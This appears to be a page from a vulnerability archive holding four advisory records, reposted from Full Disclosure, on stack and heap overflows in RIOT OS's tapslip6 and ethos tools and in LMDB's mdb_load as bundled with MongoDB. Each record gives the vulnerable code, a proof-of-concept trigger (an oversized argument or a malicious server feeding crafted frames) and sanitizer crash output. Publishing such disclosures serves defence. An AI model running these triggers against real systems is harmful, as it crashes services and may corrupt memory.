Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42

Title

RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction

Summary

A stack-based buffer overflow vulnerability exists in the tapslip6 utility distributed with RIOT OS (and derived from the legacy uIP/Contiki networking tools). The vulnerability is caused by unsafe string concatenation in the devopen() function, which constructs a device path using unbounded user-controlled input. Specifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed prefix "/dev/" with a user-supplied device name provided via the -s command-line option. No bounds checking is performed, allowing an attacker to supply an excessively long device name and overflow a fixed-size stack buffer. This issue can lead to process crashes and memory corruption. While exploitation requires local access, the affected utility is commonly executed with elevated privileges during development, testing, or deployment of RIOT OS networking environments, increasing impact. *Root Cause:*int devopen(const char *dev, int flags) { char t[1024]; strcpy(t, "/dev/"); strcat(t, dev); return open(t, flags); } *Impact:* - Stack-based buffer overflow - Process termination (Denial of Service) - Memory corruption *Proof of Concept:*./tapslip6 -s $(python3 - << 'EOF' print("A"*3000) EOF ) 10.0.0.1 255.255.255.0 *Output:*================================================================= ==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0 WRITE of size 3001 at 0xfbffa6001140 thread T0 #0 0xaaaab3e609a0 in strcat (/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId: cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) #1 0xaaaab3ec04f0 in devopen /root/RIOT/dist/tools/tunslip/tapslip6.c:420:5 #2 0xaaaab3ec04f0 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:629:18 #3 0xffffa7a42598 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3 #5 0xaaaab3dd73ec in _start (/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId: cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) Address 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in frame #0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543 SUMMARY: AddressSanitizer: stack-buffer-overflow (/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId: cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/

Severity

No CVSS data available.

Assigner

VULNARCHIVE GNA-1988

References

4 references

URL	Tags
https://vuln.freearchive.org/archive/full-disclos…	technical-descriptionexploit
https://seclists.org/fulldisclosure/2026/Jan/15	technical-description
https://nmap.org/mailman/listinfo/fulldisclosure
https://seclists.org/fulldisclosure/

Impacted products

1 product

Vendor	Product	Version
unknown	RIOT OS	Affected: unknown

Credits

Ron E

Relationships

analysis GCVE-1988-2026-0317 (this record)

possibly related CVE-2021-27427

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "RIOT OS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A stack-based buffer overflow vulnerability exists in the tapslip6 utility\ndistributed with RIOT OS (and derived from the legacy uIP/Contiki\nnetworking tools). The vulnerability is caused by unsafe string\nconcatenation in the devopen() function, which constructs a device path\nusing unbounded user-controlled input.\nSpecifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed\nprefix \"/dev/\" with a user-supplied device name provided via the -s\ncommand-line option. No bounds checking is performed, allowing an attacker\nto supply an excessively long device name and overflow a fixed-size stack\nbuffer. This issue can lead to process crashes and memory corruption. While\nexploitation requires local access, the affected utility is commonly\nexecuted with elevated privileges during development, testing, or\ndeployment of RIOT OS networking environments, increasing impact.\n\n\n\n*Root Cause:*int devopen(const char *dev, int flags)\n{\n    char t[1024];\n    strcpy(t, \"/dev/\");\n    strcat(t, dev);\n    return open(t, flags);\n}\n\n*Impact:*\n\n   - Stack-based buffer overflow\n   - Process termination (Denial of Service)\n   - Memory corruption\n\n\n\n\n*Proof of Concept:*./tapslip6 -s $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\"*3000)\nEOF\n) 10.0.0.1 255.255.255.0\n\n\n\n*Output:*=================================================================\n==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0\nWRITE of size 3001 at 0xfbffa6001140 thread T0\n    #0 0xaaaab3e609a0 in strcat\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n    #1 0xaaaab3ec04f0 in devopen\n/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5\n    #2 0xaaaab3ec04f0 in main\n/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18\n    #3 0xffffa7a42598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaab3dd73ec in _start\n(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n\nAddress 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in\nframe\n    #0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543\n\nSUMMARY: AddressSanitizer: stack-buffer-overflow\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/15"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2021-27427",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0317",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15",
            "automated": true,
            "contentSha256": "8c077fa2184f92c4a9ea9ea71d6967479a85d54ed3995a81392242f5423afcc0",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-08T15:42:45Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0317"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0317"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0318

Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42

Title

MongoDB v8.3.0 Integer Underflow in LMDB mdb_load

Summary

This integer underflow vulnerability enables heap metadata corruption and information disclosure through carefully crafted LMDB dump files. *Impact:* - *Denial of Service*: Immediate crash (confirmed) - *Information Disclosure*: Heap metadata leak via OOB read Root Cause:The readline() function fails to validate that the input line length is non-zero before performing decrement operations, causing integer underflow. An attacker can craft a malicious LMDB dump file containing empty lines that trigger the vulnerability when processed by mdb_load: *Output:* ./mdb_load -T /tmp/lmdb_asan < /root/wiredtiger/third_party/openldap_liblmdb/findings/default/crashes/id:000007,sig:06,src:000012+000030,time:43032,execs:522id:000007,sig:06,src:000012+000030,time:43032,execs:52230,op:splice,rep:13 mdb_load.c:214:9: runtime error: addition of unsigned offset to 0x521000000100 overflowed to 0x5210000000ff SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/

Severity

No CVSS data available.

Assigner

VULNARCHIVE GNA-1988

References

4 references

URL	Tags
https://vuln.freearchive.org/archive/full-disclos…	technical-description
https://seclists.org/fulldisclosure/2026/Jan/8	technical-description
https://nmap.org/mailman/listinfo/fulldisclosure
https://seclists.org/fulldisclosure/

Impacted products

1 product

Vendor	Product	Version
unknown	MongoDB	Affected: unknown

Credits

Ron E

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "MongoDB",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "This integer underflow vulnerability enables heap metadata corruption and\ninformation disclosure through carefully crafted LMDB dump files.\n\n*Impact:*\n\n   - *Denial of Service*: Immediate crash (confirmed)\n   - *Information Disclosure*: Heap metadata leak via OOB read\n\nRoot Cause:The readline() function fails to validate that the input line\nlength is non-zero before performing decrement operations, causing integer\nunderflow. An attacker can craft a malicious LMDB dump file containing\nempty lines that trigger the vulnerability when processed by mdb_load:\n*Output:*\n\n./mdb_load -T /tmp/lmdb_asan \u003c\n/root/wiredtiger/third_party/openldap_liblmdb/findings/default/crashes/id:000007,sig:06,src:000012+000030,time:43032,execs:522id:000007,sig:06,src:000012+000030,time:43032,execs:52230,op:splice,rep:13\nmdb_load.c:214:9: runtime error: addition of unsigned offset to\n0x521000000100 overflowed to 0x5210000000ff\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/8"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "MongoDB v8.3.0 Integer Underflow in LMDB mdb_load",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0318",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/8",
            "automated": true,
            "contentSha256": "f6ee6532880b5db59db360c75f13190709bcbbdb9839409a725973fc38fef448",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-01T04:17:45Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0318"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0316

Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42

Title

RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser

Summary

A stack-based buffer overflow vulnerability exists in the RIOT OS ethos utility due to missing bounds checking when processing incoming serial frame data. The vulnerability occurs in the _handle_char() function, where incoming frame bytes are appended to a fixed-size stack buffer (serial->frame) without verifying that the current write index (serial->framebytes) remains within bounds. An attacker capable of sending crafted serial or TCP-framed input can cause serial->framebytes to exceed the buffer size (MTU, 9000 bytes), resulting in a write past the end of the stack buffer. This condition leads to memory corruption, application crash, and potentially arbitrary code execution depending on compiler options and runtime protections. *Vulnerable Code:* static void _handle_char(serial_t *serial, char c) { serial->frame[serial->framebytes] = c; serial->framebytes++; } *Root Cause:* * serial->frame is a fixed-size stack buffer (char frame[MTU]) * serial->framebytes is unbounded and attacker-controlled * No validation against MTU before writing *Proof of Concept:* *listener:*# python3 payload.py This exploit acts as a MALICIOUS SERVER. Run ethos like: ./ethos tap0 tcp:127.0.0.1 20000 The exploit will send the payload when ethos connects. [*] Starting malicious server on 0.0.0.0:20000 [*] Architecture: aarch64 [*] Exploitation mode: crash [+] Server listening on 0.0.0.0:20000 [!] Waiting for ethos to connect... [*] Run ethos like this: ./ethos tap0 tcp:127.0.0.1 20000 [+] ethos client connected from ('127.0.0.1', 37114) [*] Generating crash payload... [+] Crash payload ready: 9501 bytes [*] Waiting 1 second before sending payload... [*] Sending malicious payload (9501 bytes)... [*] Sent 1024/9501 bytes... [*] Sent 2048/9501 bytes... [*] Sent 3072/9501 bytes... [*] Sent 4096/9501 bytes... [*] Sent 5120/9501 bytes... [*] Sent 6144/9501 bytes... [*] Sent 7168/9501 bytes... [*] Sent 8192/9501 bytes... [*] Sent 9216/9501 bytes... [*] Sent 9501/9501 bytes... [+] Payload sent successfully! [!] ethos client should crash now (check for ASAN output) [*] Received response: b'~}"\x00\x00\x00\x00\x00\x00~~}"\x00\x00\x00\x00\x00\x00~' [*] Connection from ('127.0.0.1', 37114) closed *Connection:* ./ethos tap0 tcp:127.0.0.1 20000 *Output:*----> ethos: sending hello. ----> ethos: activating serial pass through. ethos.c:186:5: runtime error: index 9000 out of bounds for type 'char[9000]' SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5 ================================================================= ==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418 WRITE of size 1 at 0xfbff8f804848 thread T0 #0 0xaaaae0b9facc in _handle_char /root/RIOT/dist/tools/ethos/ethos.c:186:39 #1 0xaaaae0b9ed38 in _serial_handle_byte /root/RIOT/dist/tools/ethos/ethos.c:216:17 #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34 #3 0xffff91162598 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3 #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec) (BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/

Severity

No CVSS data available.

Assigner

VULNARCHIVE GNA-1988

References

4 references

URL	Tags
https://vuln.freearchive.org/archive/full-disclos…	technical-descriptionexploit
https://seclists.org/fulldisclosure/2026/Jan/16	technical-description
https://nmap.org/mailman/listinfo/fulldisclosure
https://seclists.org/fulldisclosure/

Impacted products

1 product

Vendor	Product	Version
unknown	RIOT OS	Affected: unknown

Credits

Ron E

Relationships

analysis GCVE-1988-2026-0316 (this record)

possibly related CVE-2021-27427

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "RIOT OS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A stack-based buffer overflow vulnerability exists in the RIOT OS ethos\nutility due to missing bounds checking when processing incoming serial\nframe data. The vulnerability occurs in the _handle_char() function, where\nincoming frame bytes are appended to a fixed-size stack buffer\n(serial-\u003eframe) without verifying that the current write index\n(serial-\u003eframebytes) remains within bounds. An attacker capable of sending\ncrafted serial or TCP-framed input can cause serial-\u003eframebytes to exceed\nthe buffer size (MTU, 9000 bytes), resulting in a write past the end of the\nstack buffer. This condition leads to memory corruption, application crash,\nand potentially arbitrary code execution depending on compiler options and\nruntime protections.\n\n\n*Vulnerable Code:*\nstatic void _handle_char(serial_t *serial, char c)\n{\n    serial-\u003eframe[serial-\u003eframebytes] = c;\n    serial-\u003eframebytes++;\n}\n\n*Root Cause:*\n\n* serial-\u003eframe is a fixed-size stack buffer (char frame[MTU])\n* serial-\u003eframebytes is unbounded and attacker-controlled\n* No validation against MTU before writing\n\n\n\n*Proof of Concept:*\n\n\n*listener:*# python3 payload.py\n\nThis exploit acts as a MALICIOUS SERVER.\nRun ethos like: ./ethos tap0 tcp:127.0.0.1 20000\nThe exploit will send the payload when ethos connects.\n\n\n[*] Starting malicious server on 0.0.0.0:20000\n[*] Architecture: aarch64\n[*] Exploitation mode: crash\n\n[+] Server listening on 0.0.0.0:20000\n\n[!] Waiting for ethos to connect...\n[*] Run ethos like this:\n  ./ethos tap0 tcp:127.0.0.1 20000\n\n[+] ethos client connected from (\u0027127.0.0.1\u0027, 37114)\n[*] Generating crash payload...\n[+] Crash payload ready: 9501 bytes\n[*] Waiting 1 second before sending payload...\n[*] Sending malicious payload (9501 bytes)...\n[*] Sent 1024/9501 bytes...\n[*] Sent 2048/9501 bytes...\n[*] Sent 3072/9501 bytes...\n[*] Sent 4096/9501 bytes...\n[*] Sent 5120/9501 bytes...\n[*] Sent 6144/9501 bytes...\n[*] Sent 7168/9501 bytes...\n[*] Sent 8192/9501 bytes...\n[*] Sent 9216/9501 bytes...\n[*] Sent 9501/9501 bytes...\n[+] Payload sent successfully!\n[!] ethos client should crash now (check for ASAN output)\n[*] Received response:\nb\u0027~}\"\\x00\\x00\\x00\\x00\\x00\\x00~~}\"\\x00\\x00\\x00\\x00\\x00\\x00~\u0027\n[*] Connection from (\u0027127.0.0.1\u0027, 37114) closed\n\n\n\n*Connection:*\n./ethos tap0 tcp:127.0.0.1 20000\n\n\n\n*Output:*----\u003e ethos: sending hello.\n----\u003e ethos: activating serial pass through.\nethos.c:186:5: runtime error: index 9000 out of bounds for type \u0027char[9000]\u0027\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5\n=================================================================\n==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418\nWRITE of size 1 at 0xfbff8f804848 thread T0\n    #0 0xaaaae0b9facc in _handle_char\n/root/RIOT/dist/tools/ethos/ethos.c:186:39\n    #1 0xaaaae0b9ed38 in _serial_handle_byte\n/root/RIOT/dist/tools/ethos/ethos.c:216:17\n    #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34\n    #3 0xffff91162598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)\n(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/16"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2021-27427",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0316",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16",
            "automated": true,
            "contentSha256": "63267818b090ebf6c24cf8bc4bb438065e200145a28492f0ccdbca2b2dda8293",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-10T05:26:58Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0316"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0316"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2025-0005

Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42

Title

MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load

Summary

A heap buffer underflow vulnerability exists in the readline() function of OpenLDAP's Lightning Memory-Mapped Database (LMDB) mdb_load utility. The vulnerability is triggered through malformed input data and results in an out-of-bounds read one byte before an allocated heap buffer. This can lead to information disclosure through heap memory leakage. *Root Cause:* The vulnerability occurs in the readline() function at line 214 of mdb_load.c. The ASAN output reveals two critical issues: 1. *Integer Underflow:* An unsigned offset addition to 0x521000000100 results in underflow to 0x5210000000ff, indicating a pointer decrement operation that wraps below the buffer start 2. *Out-of-bounds Read: *The subsequent memory access reads 1 byte at address 0x5210000000ff, which is located 1 byte before the 4096-byte heap region [0x521000000100, 0x521000001100) *Impact:* The vulnerability allows a local attacker to trigger a heap out-of-bounds read in mdb_load, resulting in reliable denial of service and limited information disclosure of adjacent heap memory. While no write primitive is present, the disclosure may expose heap metadata and contribute to exploit mitigation bypass in multi-stage attacks. *Evidence:* # Execute with crash input ./mdb_load -T /tmp/lmdb_asan < [crash_input_file] *Output:* mdb_load.c:214:9: runtime error: addition of unsigned offset to 0x521000000100 overflowed to 0x5210000000ff SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9 ================================================================= ==1215390==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5210000000ff at pc 0xaaaacb6f5bf4 bp 0xffffc2d17d30 sp 0xffffc2d17d28 READ of size 1 at 0x5210000000ff thread T0 #0 0xaaaacb6f5bf0 in readline /root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9 #1 0xaaaacb6ed614 in main /root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:429:9 #2 0xffffb4662598 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3 #4 0xaaaacb60adec in _start (/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId: 54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444) 0x5210000000ff is located 1 bytes before 4096-byte region [0x521000000100,0x521000001100) allocated by thread T0 here: #0 0xaaaacb6ad4e4 in malloc (/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0x16d4e4) (BuildId: 54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444) #1 0xaaaacb6ed068 in main /root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:354:17 #2 0xffffb4662598 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3 #4 0xaaaacb60adec in _start (/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId: 54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444) SUMMARY: AddressSanitizer: heap-buffer-overflow /root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9 in readline _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/

Severity

No CVSS data available.

Assigner

VULNARCHIVE GNA-1988

References

4 references

URL	Tags
https://vuln.freearchive.org/archive/full-disclos…	technical-description
https://seclists.org/fulldisclosure/2026/Jan/5	technical-description
https://nmap.org/mailman/listinfo/fulldisclosure
https://seclists.org/fulldisclosure/

Impacted products

1 product

Vendor	Product	Version
unknown	MongoDB	Affected: unknown

Credits

Ron E

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "MongoDB",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A heap buffer underflow vulnerability exists in the readline() function of\nOpenLDAP\u0027s Lightning Memory-Mapped Database (LMDB) mdb_load utility. The\nvulnerability is triggered through malformed input data and results in an\nout-of-bounds read one byte before an allocated heap buffer. This can lead\nto information disclosure through heap memory leakage.\n\n*Root Cause:*\nThe vulnerability occurs in the readline() function at line 214 of\nmdb_load.c. The ASAN output reveals two critical issues:\n1. *Integer Underflow:* An unsigned offset addition to 0x521000000100\nresults in underflow to 0x5210000000ff, indicating a pointer decrement\noperation that wraps below the buffer start\n2. *Out-of-bounds Read: *The subsequent memory access reads 1 byte at\naddress 0x5210000000ff, which is located 1 byte before the 4096-byte heap\nregion [0x521000000100, 0x521000001100)\n\n*Impact:*\nThe vulnerability allows a local attacker to trigger a heap out-of-bounds\nread in mdb_load, resulting in reliable denial of service and limited\ninformation disclosure of adjacent heap memory. While no write primitive is\npresent, the disclosure may expose heap metadata and contribute to exploit\nmitigation bypass in multi-stage attacks.\n\n*Evidence:*\n# Execute with crash input\n./mdb_load -T /tmp/lmdb_asan \u003c [crash_input_file]\n\n*Output:*\nmdb_load.c:214:9: runtime error: addition of unsigned offset to\n0x521000000100 overflowed to 0x5210000000ff\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9\n=================================================================\n==1215390==ERROR: AddressSanitizer: heap-buffer-overflow on address\n0x5210000000ff at pc 0xaaaacb6f5bf4 bp 0xffffc2d17d30 sp 0xffffc2d17d28\nREAD of size 1 at 0x5210000000ff thread T0\n    #0 0xaaaacb6f5bf0 in readline\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9\n    #1 0xaaaacb6ed614 in main\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:429:9\n    #2 0xffffb4662598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #4 0xaaaacb60adec in _start\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n\n0x5210000000ff is located 1 bytes before 4096-byte region\n[0x521000000100,0x521000001100)\nallocated by thread T0 here:\n    #0 0xaaaacb6ad4e4 in malloc\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0x16d4e4) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n    #1 0xaaaacb6ed068 in main\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:354:17\n    #2 0xffffb4662598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #4 0xaaaacb60adec in _start\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9 in 